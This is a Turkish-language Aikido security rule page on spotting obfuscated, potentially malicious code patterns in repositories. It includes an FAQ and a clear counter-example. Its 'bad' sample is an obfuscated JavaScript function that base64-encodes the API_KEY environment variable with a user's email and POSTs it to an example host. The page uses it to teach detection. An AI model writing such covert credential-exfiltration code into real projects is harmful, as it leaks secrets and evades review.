Aikido

Olası zararlı kod kalıplarını tespit etme: kod tabanınızdaki gizli tehditleri belirleme

Güvenlik

Kural
Tespit potansiyel zararlı kod kodu
Kod şu şekilde şeffaf şeffaf olmalıdır niyetinde niyetinde 
Kasıtlı karartma ya da gizleme teknikleri şunu
kötü niyetli niyet veya arka kapılar.
Desteklenen diller: 45+

Giriş

Üretim depolarındaki karmaşıklaştırılmış kod her zaman zararsız değildir. Ön uç derlemelerinde kod küçültme için meşru kullanım senaryoları mevcut olsa da, kaynak kodda kasıtlı olarak karmaşıklaştırılmış mantık genellikle tedarik zinciri saldırılarını, arka kapıları veya güvenliği ihlal edilmiş bağımlılıkları işaret eder. Saldırganlar, kötü niyetli yükleri yüzeysel kod incelemelerinden gizlemek için kodlama hileleri, alışılmadık dize birleştirme, dinamik değerlendirme ve diğer karmaşıklaştırma tekniklerini kullanır.

Neden önemli?

Güvenlik etkileri: Gizlenmiş kod, tedarik zincirinin ele geçirildiğinin başlıca göstergelerinden biridir. 2024 XZ Utils arka kapısı, kötü amaçlı SSH kimlik doğrulama atlama kodunu gizlemek için gelişmiş gizleme teknikleri kullanmıştır. Benzer teknikler, ortam değişkenlerini veya kimlik bilgilerini sızdıran, güvenliği ihlal edilmiş npm paketlerinde de görülmektedir. Kod, amacını kasıtlı olarak gizlediğinde, güvenlik incelemeleri ve otomatik taramalar sırasında tespit edilmekten kaçınmak üzere tasarlanmış demektir.

Kodun bakım kolaylığı: Kod karmaşıklaştırma kötü niyetli olmasa bile, bakım açısından tam bir kabusa dönüşür. Gelecekteki geliştiriciler kodun amacını anlayamaz, hata ayıklama imkânsız hale gelir ve kod, kimsenin dokunmak istemediği bir teknik borç haline gelir. Karmaşıklaştırılmış mantık, hataları veya güvenlik açıklarını tespit etmek üzere tasarlanmış tüm statik analiz araçlarını atlatır.

Saldırı yüzeyinin genişlemesi: Aşağıdaki gibi kod gizleme teknikleri: eval(), Fonksiyon() Yapıcı işlevleri veya Base64 ile kodlanmış dizeler, güvenlik araçlarının statik olarak analiz edemediği dinamik kod yürütme yolları oluşturur. Bu durum, kaynak kodu incelemelerinde görünmeyen çalışma zamanı davranışları ortaya çıkararak saldırı yüzeyinizi genişletir.

Performans üzerindeki etkisi: Karmaşıklaştırılmış kodlarda genellikle aşırı dize birleştirme, dinamik özellik erişimi veya tekrarlanan kodlama/kod çözme işlemleri gibi verimsiz kalıplar kullanılır. Bu kalıplar, kaynak depolarda meşru bir iş amacına hizmet etmemekle birlikte performansı düşürür.

Kod örnekleri

❌ Uygun değil:

const _0x4d2e = ['env', 'API_KEY', 'toString', 'base64'];
const _0x1f3a = (i) => _0x4d2e[i];

function sendData(user) {
  const key = process[_0x1f3a(0)][_0x1f3a(1)];
  const payload = Buffer.from(JSON.stringify({
    u: user.email,
    k: key
  }))[_0x1f3a(2)](_0x1f3a(3));

  fetch('https://analytics-cdn.example.com/t', {
    method: 'POST',
    body: payload
  });
}

Neden güvenli değil: Değişken isimleri kasıtlı olarak anlamsızdır, dizge erişimi dizi indeksleme yoluyla gizlenmiştir ve bağlantı kurulan gerçek uç nokta belirsizdir. Bu model, kötü amaçlı paketlerin kimlik bilgilerini nasıl sızdırdığıyla aynıdır; bu da inceleme sırasında kodun gerçek amacını doğrulamayı imkansız hale getirir.

✅ Uygunluk:

const ANALYTICS_ENDPOINT = 'https://analytics.example.com/track';

function sendAnalyticsEvent(user) {
  const event = {
    userId: user.id,
    email: user.email,
    timestamp: Date.now()
  };

  return fetch(ANALYTICS_ENDPOINT, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(event)
  });
}

Neden güvenlidir: Anlaşılır değişken adları, açık uç noktası, şeffaf veri yapısı ve net amaç. Herhangi bir denetçi, hangi verilerin nereye gönderildiğini anında anlayabilir. Bu kod, hem güvenlik araçları hem de insanlar tarafından denetlenebilir.

Sonuç

Kaynak kod depolarındaki karmaşıklaştırılmış kod, araştırma gerektiren bir güvenlik uyarısıdır. Derleme aşamasında yapılan kod küçültme işlemi, ön uç optimizasyonu açısından kabul edilebilir olsa da, kaynak kodu her zaman okunabilir ve şeffaf olmalıdır. Karmaşıklaştırma kalıplarının erken aşamada tespit edilmesi, tedarik zincirinde güvenlik ihlallerini önler ve kodun denetlenebilirliğini korur.

Sık Sorulan Sorular

Sorularınız mı var?

Kötü amaçlı kodu işaret eden yaygın kod gizleme kalıpları nelerdir?

Dikkat edilmesi gerekenler: Çalışma zamanında kod çözümü yapılan hex veya base64 kodlu dizeler (`Buffer.from('aGVsbG8=', 'base64')`), dinamik dizelerle birlikte `eval()` veya `Function()` yapıcılarının kullanımı, dizelere indeksler aracılığıyla erişilen dizi tabanlı dize gizleme, olağandışı karakter kaçışları (`"hello"` yerine `\x68\x65\x6c\x6c\x6f`), hesaplanmış değerlerle köşeli parantez notasyonu kullanılarak özellik erişimi ve kontrol akışını belirsizleştiren derinlemesine iç içe geçmiş üçlü operatörler. Bu kalıplar meşru kodlarda nadiren görülür.

Kaynak kodunda kod gizleme için meşru nedenler var mı?

Çok az sayıda. Meşru kullanım örnekleri arasında şunlar yer alır: ticari yazılımlarda tescilli algoritmaların korunması (ancak bu, arka uç hizmetleri aracılığıyla daha iyi ele alınabilir), tahrifata karşı dayanıklı olması gereken lisanslama/DRM kodu ve istemci tarafında botlara karşı koruma. Bununla birlikte, bu durumlar bile ayrı ayrı ele alınmalı, belgelenmeli ve incelenmelidir. Genel uygulama kodu, kaynak kod depolarında asla gizlenmemelidir.

Küçültülmüş kod ile kötü niyetli kod gizlemeyi nasıl ayırt edebilirim?

Küçültülmüş kod, kaynak dosyalarında değil, derleme çıktılarında görünür. Deponuzda, derleme süreci sırasında küçültülmüş olan okunabilir kaynak kod bulunmalıdır. Eğer `src/` dizininde veya `node_modules` kaynak dosyalarında küçültülmüş ya da karmaşıklaştırılmış kod bulursanız, bu durum şüphe uyandırıcıdır. Meşru küçültme işlemi bazı yapıları (fonksiyonlar arasındaki satır sonları) korurken, kötü niyetli karmaşıklaştırma genellikle tek satırlık, derinlemesine iç içe geçmiş ifadeler oluşturur.

Bir bağımlılıkta gizlenmiş kod bulursam ne yapmalıyım?

Paketi derhal inceleyin. Kodun ne zaman gizlendiğini kontrol edin (son sürümlerle karşılaştırın), paket bakımcısının geçmişini gözden geçirin, güvenlik uyarılarını araştırın ve gizlenmiş kodun gerçekte ne işe yaradığını inceleyin (`js-beautify` gibi araçlar bu konuda yardımcı olabilir). Güvenliğini doğrulayamıyorsanız, bağımlılığı kaldırın veya bilinen son sağlam sürüme sabitleyin. Şüpheli paketleri npm security’ye veya ilgili paket kayıt defterine bildirin.

Gizleme tekniği, “gizlilik yoluyla güvenlik” amacıyla kullanılabilir mi?

Hayır. Gizlilik yoluyla güvenlik, kodun karmaşıklaştırılmasının geri döndürülebilir olması nedeniyle başarısız olur. Saldırganlar kodunuzu yeniden okunabilir hale getirecek, ancak güvenlik ekibiniz ve otomatik araçlarınız bunu kolayca denetleyemeyecektir. Bu durum asimetrik bir risk yaratır: siz güvenlik açıklarını göremezken, saldırganlar görebilir. Gerçek güvenlik, uygulama ayrıntılarını gizlemekten değil, uygun kimlik doğrulama, şifreleme, en az ayrıcalık ilkesi ve diğer derinlemesine savunma önlemlerinden kaynaklanır.

Tedarik zinciri saldırıları gizleme yöntemini nasıl kullanır?

Saldırganlar, meşru paketleri ele geçirerek ortam değişkenlerini, kimlik bilgilerini veya kaynak kodunu sızdıran, karmaşıklaştırılmış kötü amaçlı kodlar enjekte ederler. Bu karmaşıklaştırma, kötü amaçlı kodun otomatik kontrolleri ve yüzeysel kod incelemelerini geçmesine yardımcı olur. 2018’deki event-stream olayı, Bitcoin cüzdan hırsızlığını gizlemek için karmaşıklaştırma yöntemini kullanmıştı. Daha yakın zamanda ise, düzinelerce npm paketi, kimlik bilgisi sızdırma kodunu gizlemek için base64 kodlamasını kullandı. Gizleme kalıplarını tespit etmek, tedarik zinciri güvenliği açısından hayati önem taşır.

Gizlenmiş kod kalıplarının performans üzerindeki etkisi nedir?

Gizlenmiş kod genellikle verimsiz teknikler kullanır: döngülerde dize birleştirme, tekrarlanan base64 kodlama/kod çözme, JavaScript motorunun optimizasyonunu engelleyen dinamik özellik erişimi ve aşırı kapatma oluşturma. Bu kalıplar, okunabilir eşdeğer koda kıyasla performansı %10-50 oranında düşürebilir. Daha da önemlisi, gizlenmiş kod, V8 gibi motorların şeffaf kod üzerinde gerçekleştirdiği çalışma zamanı optimizasyonlarını engellediği için performans üzerindeki etkisi öngörülemez.

Şimdi güvenliğinizi sağlayın

Kodunuzu, bulutunuzu ve çalışma zamanınızı tek bir merkezi sistemde güvenceye alın.
Güvenlik açıklarını otomatik olarak hızla bulun ve düzeltin.

Kredi kartı gerekmez | Tarama sonuçları 32 saniyede.